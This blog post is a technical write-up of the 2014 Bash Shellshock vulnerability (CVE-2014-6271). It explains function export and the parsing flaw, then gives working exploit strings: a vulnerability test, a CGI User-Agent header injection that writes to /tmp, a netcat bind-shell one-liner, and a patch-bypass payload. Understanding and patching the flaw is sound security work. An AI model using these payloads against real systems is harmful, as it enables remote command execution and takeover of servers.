Fb1h2s aka Rahul Sasi's Blog

FAQ::

HTML Code:

Code execution possible on CGI Web Applications:  	Yes [Critical ]
Code execution possible on SSH                 : 	       Yes [Not critical or is based on architecture ]
Working Payload for getting reverse Shell Available:      Yes
Is the Current patch complete:                                    No

Where was the Bug:

Bash supports exporting not just shell variables, but also shell functions to other bash instances, via the process environment to (indirect) child processes.

So with Bash you can export function definitions to a sub-shell. Exporting a function using export -f creates an environment variable with the function body

Example:

Code:

fb1$ fn(){ echo "sasi"; }
fb1$ export -f fn
fb1$ sh -c printenv\ fn
() {  echo "sasi"
}

So that is how bash function variables are written and exported. Here an important point to remember is bash consider Environment variable starting with () { as a function.

Ex: function() { echo"I am a function" }

Applications of this feature:

Example following ssh script:

Code:

#!/bin/bash
importantfunction() { echo " long important function";}; 

ssh user@host "$(declare -pf importantfunction); importantfunction"

Now the above SSH session would have successfully imported the function importantfunction() "remember its only imported and never executed unless called explicitly" . Now the function could be used on the current session.


The vulnerability


The vulnerability occurs because bash does not stop after processing the function definition. It continues to parse and execute shell commands following the function definition.

Reference: http://seclists.org/oss-sec/2014/q3/650

Example:

Code:

fb1$ VAR=() { echo "; }; /bin/ls

VAR=() { echo "; }; <-- function ends
 /bin/ls   <-- here /bin/ls would get executed executed

So basically the payload to test if your bash is vulnerable would be obviously as following.

Code:

fb1$   env x='() { :;}; echo vulnerable' bash -c "echo this is a vulnerable"

Exploitation:

There are a number of places this could be exploited .

1) SSH <-- Criticality varies [Tested ]
2) CGI Web Apps <-- High Criticality [Tested ]
3) DHCP <-- [Not tested]
4) CUPS <-- [Not tested by me]
5) sudo <-- [Not tested ]

Exploiting HTTP CGI Web Applications:


CGI parses certain HTTP paramaters as environment variables.

ref:http://www.cgi101.com/book/ch3/text.html

For example ,
HTTP_COOKIE The visitor's cookie, if one is set
HTTP_HOST The hostname of the page being attempted
HTTP_REFERER The URL of the page that called your program
HTTP_USER_AGENT The browser type of the visitor


These values would be an interesting attack surface. So an attack uses the following payload to compromise the web application.

PHP Code:

GET /cgi-bin/script HTTP/1.1
User-Agent: () { :;}; echo aa>/tmp/hacked 


Here Bash when parsing the environment variables would now parse User-Agent () as a function name and rest the function definition and then the payload.

PHP Code:

User-Agent: ()       <-- Treated as function

{ :;};               <-- Function Definition 

echo aa>/tmp/hacked  <-- Extra payload 


Payload:

Now attackers can utilise a Bind shell payload as put-up here:
ref:http://pastebin.com/dEYQndKG

Code:

() { ignored;};/bin/bash -c '/bin/rm -f /tmp/f; /usr/bin/mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f'

Current Patch:

Current patch is broken:
https://twitter.com/taviso/status/514887394294652929

We were able to test a bypass for the patch and it worked

Code:

env lol='() { (nothing)=>\' sh -c "echo date"; echo “vulnerable"

So current patch cannot be trusted. But at the same time based on initial analysis it can provide protection against Remote attacks on CGI applications.

Exploiting SSH:


If an attacker does not have an SSH account this exploit would not work. That is the reason why I categorized this as less vulnerable. But certain environments it is possible to have a shell user to have bypass shell restrictions. One good example is over here, Gitlab-shell is affected by Bash CVE-2014-6271
https://about.gitlab.com/2014/09/24/...cve-2014-6271/

It is possible to inject shell parameters into an SSH session.



Few reference:
Bash bug write-up with Snort and Suricata signatures http://t.co/dGnevpgU4S by @stevenadair @Volexity #DFIR
Fix Bash remote vulnerability CVE-2014-6271 on your Mac - http://t.co/bYQCdiTXJd
How do I recompile Bash to avoid the remote exploit CVE-2014-6271 and CVE-2014-7169? http://t.co/ozJG0SpVB2
CVE-2014-6271 / Shellshock & How to handle all the shells! http://www.clevcode.org/cve-2014-6271-shellshock/
Updating CVE-2014-6271 on OSX and Linux http://qiita.com/syui/items/809c1cd8ed57c8cdb055
Busybox also vulnerable to CVE-2014-6271 in Android Terminal Emulator > (CM11 shown) https://twitter.com/tehowe/status/51...440961/photo/1